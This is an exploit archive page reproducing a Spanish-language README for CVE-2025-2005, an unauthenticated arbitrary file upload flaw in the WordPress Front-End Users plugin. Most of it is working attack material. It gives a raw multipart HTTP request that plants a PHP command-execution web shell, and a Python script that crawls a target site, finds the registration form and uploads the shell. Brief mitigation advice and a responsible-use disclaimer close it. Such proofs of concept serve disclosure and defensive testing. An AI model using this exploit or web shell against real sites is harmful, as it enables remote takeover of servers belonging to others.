Associated Vulnerability
Title:Front-End-Only-Users <= 3.2.32 - Unauthenticated Arbitrary File Upload (CVE-2025-2005)Description:The Front End Users plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the file uploads field of the registration form in all versions up to, and including, 3.2.32. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Readme
# CVE-2025-2005 - Pwn en WordPress Front-End Users Plugin
<div align="center">
<img src="https://images.steamusercontent.com/ugc/954101135156565426/21D9841F8E03ED30D91A7720388E1E8D3A464FC0/?imw=512&imh=288&ima=fit&impolicy=Letterbox&imcolor=%23000000&letterbox=true" width=50%/>
`By h4ckxel`
</div>
## Info Rápida
- **Plugin:** Front-End Users
- **Versiones vulnerables:** <= 3.2.32
- **Tipo de fallo:** Arbitrary File Upload
- **CVSS Score:** 10 (Crítico)
- **Riesgo:** Permite a cualquier atacante sin auth subir archivos arbitrarios (ej. web shells PHP) y ejecutarlos remotamente, comprometiendo todo el server.
## Descripción del Bug
Este exploit se cuela por la validación deficiente del upload de archivos en los formularios de registro del plugin. No hay filtros de extensión, auth checks ni saneamiento de tipos de archivo. Un atacante puede mandar un request `multipart/form-data` a cualquier form de registro y colar un `.php` malicioso en un campo custom (ej. `xxploit`).
Aunque los archivos subidos van a `wp-content/uploads/ewd_feup_uploads/` con un hash aleatorio en el nombre, siguen siendo ejecutables si PHP está habilitado en el directorio.
---
## PoC - Manual Exploit
```http
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="xxploit"; filename="shell.php"
Content-Type: application/x-php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary--
```
El archivo se guarda en:
```
/wp-content/uploads/ewd_feup_uploads/[HASH_ALEATORIO].php
```
El nombre cambia, pero se puede encontrar manualmente o con un scanner.
---
## PoC - Exploit en Python
```python
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin")
parser.add_argument("--url", "-u", required=True, help="URL base del sitio target (ej. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Usuario para registrar")
parser.add_argument("--newpassword", "-np", required=True, help="Password del nuevo usuario")
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword
print(f"[*] Scaneando: {base_url}")
try:
response = session.get(base_url, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
print("[-] Error al acceder al sitio.")
exit()
page_links = {urljoin(base_url, a['href']) for a in soup.find_all("a", href=True)}
print(f"[*] {len(page_links)} páginas encontradas...")
registration_url = None
for link in page_links:
try:
page = session.get(link, timeout=10)
if "ewd-feup-register-form" in page.text:
registration_url = link
print(f"[+] Form de registro encontrado en: {registration_url}")
break
except:
continue
if not registration_url:
print("[-] No se encontró el form automáticamente. Intenta manualmente con --url.")
exit()
shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
data = {
'ewd-feup-action': 'register',
'Username': username,
'User_Password': password,
'Confirm_User_Password': password,
'Register_Submit': 'Register'
}
files = {'file': ('shell.php', shell_content, 'application/x-php')}
print("[*] Subiendo shell a:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
if upload_response.status_code == 200:
print("[+] Upload completado.")
else:
print("[-] Falló la subida.")
```
---
## Solución
Actualizar el plugin a la última versión segura (si existe), o desactivarlo temporalmente si no hay parche. Además:
- Bloquear la ejecución de PHP en `wp-content/uploads/`.
- Implementar validaciones de extensión y tipo de archivo en el form.
- Restringir uploads solo a usuarios autenticados.
---
## Disclaimer
Este PoC es solo para educación y pruebas de seguridad autorizadas. No seas un lamer, usa esto con responsabilidad y solo en entornos donde tengas permiso.
File Snapshot
[4.0K] /data/pocs/5aaaa0d415d72c8bb1f27c7c6a3af3c27767bcbe
├── [2.0K] exploit.py
├── [1.0K] LICENSE
└── [4.6K] README.md
0 directories, 3 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →